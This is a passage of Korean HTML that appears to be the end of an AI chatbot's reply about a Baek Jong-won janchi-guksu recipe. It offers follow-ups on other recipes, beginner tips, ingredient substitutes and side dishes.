말씀해주세요.</strong></p><ul data-sourcepos="74:1-78:0"> <li data-sourcepos="74:1-74:52"><strong>다른 레시피:</strong> 백종원 선생님의 다른 레시피를 알고 싶으시다면 언제든지 요청해주세요.</li> <li data-sourcepos="75:1-75:48"><strong>요리 팁:</strong> 요리 초보자를 위한 더 자세한 설명이나 팁을 원하시면 알려주세요.</li> <li data-sourcepos="76:1-76:62"><strong>재료 대체:</strong> 특정 재료를 구하기 어려울 경우 대체할 수 있는 재료에 대해 궁금하시다면 질문해주세요.</li> <li data-sourcepos="77:1-78:0"><strong>다른 음식과의 조합:</strong> 잔치국수와 잘 어울리는 반찬이나 음식에 대한 정보를 원하시면 알려주세요.</li> </ul><p data-sourcepos="79:1-79:30"><strong>최대한 상세하고 친절하게 답변해 드리겠습니다.</strong></p></div> </div></div>